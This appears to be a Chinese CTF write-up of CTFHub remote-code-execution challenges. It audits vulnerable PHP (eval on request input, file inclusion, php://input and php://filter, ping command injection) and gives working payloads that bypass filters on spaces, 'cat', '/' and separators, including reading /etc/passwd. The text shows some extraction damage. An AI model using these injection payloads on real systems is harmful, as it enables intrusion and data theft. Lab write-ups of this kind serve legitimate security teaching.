网站漏洞解决办法,杭州网站设计,wordpress头部空白,wordpress 完全静态化目录标题 引言什么是RCE漏洞 eval执行文件包含文件包含php://input读取源代码远程包含 命令注入无过滤过滤cat过滤空格过滤目录分隔符过滤运算符综合过滤练习 引言
题目共有如下类型 什么是RCE漏洞
RCE漏洞#xff0c;全称是Remote Code Execution漏洞#xff0c;翻译成中文… 目录标题 引言什么是RCE漏洞 eval执行文件包含文件包含php://input读取源代码远程包含 命令注入无过滤过滤cat过滤空格过滤目录分隔符过滤运算符综合过滤练习 引言
题目共有如下类型 什么是RCE漏洞
RCE漏洞全称是Remote Code Execution漏洞翻译成中文就是远程代码执行漏洞。顾名思义这是一种安全漏洞允许攻击者在受害者的系统上远程执行任意代码
eval执行
分析源码 ?php
if (isset($_REQUEST[cmd])) { //检查是否有cmd参数且不为空eval($_REQUEST[cmd]); //执行cmd传入的php代码
} else {highlight_file(__FILE__);
}
? 执行命令查看当前目录
?cmdsystem(ls);查看根目录或者上级目录一个一个查找
?cmdsystem(ls /);
?cmdsystem(ls ../../../);发现flag文件 cat /flag_8751即可 文件包含
文件包含
源码审计
?php
error_reporting(0);
if (isset($_GET[file])) { //检查是否存在file参数且不为空if (!strpos($_GET[file], flag)) { //过滤flag字符串include $_GET[file]; } else {echo Hacker!!!;}
} else {highlight_file(__FILE__);
}
?hr
i have a a hrefshell.txtshell/a, how to use it ? //提示有个shell.txt文件内容为 ?php eval($_REQUEST[ctfhub]);?利用文件包含读取shell.txt 先了解一下** R E Q U E S T ∗ ∗ 函数是 P H P 中一个非常方便的超级全局变量它处理来自用户输入的数据。具体来说 ‘ _REQUEST**函数是PHP 中一个非常方便的超级全局变量它处理来自用户输入的数据。具体来说 REQUEST∗∗函数是PHP中一个非常方便的超级全局变量它处理来自用户输入的数据。具体来说‘_REQUEST 变量包含了通过 GET、POST 和 COOKIE 方法传递的数据 所以可以利用POST或cookie传入ctfhub变量
查看根目录 查找flag php://input
源码分析
?php
if (isset($_GET[file])) { //检查是否存在file参数if ( substr($_GET[file], 0, 6) php:// ) { //检查参数前6位是否为 php:// 是则执行include($_GET[file]);} else {echo Hacker!!!;}
} else {highlight_file(__FILE__);
}
?
// 给了应该phpinfo.php超链接查看phpinfo.php文件发现此处 抓包构造命令执行因为有php://input故会执行传入的php代码 查看flag 这里也可以利用php伪协议会得到一串base64加密的flag解密即可 或者 读取源代码
源码审计
?php
error_reporting(E_ALL);
if (isset($_GET[file])) {if ( substr($_GET[file], 0, 6) php:// ) { //检查file参数是否以 php:// 开头include($_GET[file]);} else {echo Hacker!!!;}
} else {highlight_file(__FILE__); //代码高亮显示源码
}
?i dont have shell, how to get flag?
flag in code/flag/code //flag在根目录php伪协议读取flag
?filephp://filter/read/resource/flag远程包含
源码审计
?php
error_reporting(0);
if (isset($_GET[file])) {if (!strpos($_GET[file], flag)) { //过滤flag字符串include $_GET[file];} else {echo Hacker!!!;}
} else {highlight_file(__FILE__);
}
?给了一个phpinfo()界面根据题目提示还是文件包含题抓包利用php;//input读取
查看根目录 读取flag 命令注入 这里需要了解一下常见的命令分隔符 ; : 无论前面是否执行后面都执行 **||逻辑或**前命令失败执行后命令如果前命令成功则不执行后命令 **| **前者结果作为后者参数使用 ** **前命令成功执行后命令如果失败则不执行后命令 **\n**换行符url编码%0a %0a 换行 %0d 回车
无过滤
没有做任何过滤
先ping一下 查看该目录使用 127.0.0.1; ls 也是可以的 查看26398804916519.php
127.0.0.1 | cat 26398804916519.php发现flag 过滤cat
查看源码
?php$res FALSE;if (isset($_GET[ip]) $_GET[ip]) { $ip $_GET[ip];$m [];if (!preg_match_all(/cat/, $ip, $m)) { //过滤了cat字符串$cmd ping -c 4 {$ip}; //windows默认ping4次Linux不设置次数会一直pingexec($cmd, $res);} else {$res $m;}
}查看当前目录 因为cat被过滤了此系统是linux操作系统所以可以使用cat命令的平替如 nl tac c\at less more tail 等
nl查看得到flag 或者使用转义符 \ 绕过 也可以得到flag会将c\at 分为两个字符串则绕过cat过滤 过滤空格
查看源码
?php$res FALSE;if (isset($_GET[ip]) $_GET[ip]) {$ip $_GET[ip];$m [];if (!preg_match_all(/ /, $ip, $m)) { //只过滤了空格$cmd ping -c 4 {$ip};exec($cmd, $res);} else {$res $m;}
}
?先查看当前目录得到flag文件 flag_11971489425983.php 这里介绍几个绕过空格的方法
$IFS$9 %09 {cat,flag}可以绕过空格
127.0.0.1;cat$IFS$9flag_11971489425983.php过滤目录分隔符
几种常见的 / 符号绕过方法
改变工作目录cd xxx 避免使用 / 符号
环境变量截取 ${PATH:0:1} ${HOME:0:1}
编码绕过8进制 $(printf \57) 16进制 $\x2f $\57
调用命令生成a$(printf /); cat ${a}etc${a}passwd cat echo /etcecho /passwd
通配符替代(部分路径已知)/???/cat /???/passwd //匹配 /bin/cat
利用反斜杠cat \/etc\/passwd
协议替代file_get_contents(glob:///*); 提示 源码
?php$res FALSE;if (isset($_GET[ip]) $_GET[ip]) {$ip $_GET[ip];$m [];if (!preg_match_all(/\//, $ip, $m)) { //过滤了 / 符号$cmd ping -c 4 {$ip};exec($cmd, $res);} else {$res $m;}
}
?查看当前目录 进入该目录并查看 执行以下命令读取flag文件
127.0.0.1;cd flag_is_here;cat flag_29914267619184.php得到flag 过滤运算符
查看源码可以利用 ****绕过
?php
$res FALSE;
if (isset($_GET[ip]) $_GET[ip]) {$ip $_GET[ip];$m [];if (!preg_match_all(/(\||\)/, $ip, $m)) { //利用正则匹配过滤了 | 和 $cmd ping -c 4 {$ip};exec($cmd, $res);} else {$res $m;}
}
?查看当前目录 执行以下命令
127.0.0.1;cat flag_4351260182213.php得到flag 综合过滤练习
源码审计
?php
$res FALSE;
if (isset($_GET[ip]) $_GET[ip]) {$ip $_GET[ip];$m [];if (!preg_match_all(/(\|||;| |\/|cat|flag|ctfhub)/, $ip, $m)) { //过滤了 | ; 空格 / cat flag ctfhub$cmd ping -c 4 {$ip};exec($cmd, $res);} else {$res $m;}
}
?利用换行符**%0a绕过**查看当前目录 查看根目录没有有用信息flag应该存在flag_is_here目录下 执行以下命令
?ip127.0.0.1%0acd$IFS$9f\lag_is_here%0als //flag被过滤需要绕过查看该flag
?ip127.0.0.1%0acd$IFS$9f\lag_is_here%0anl$IFS$9f\lag_172132798218075.php //绕过cat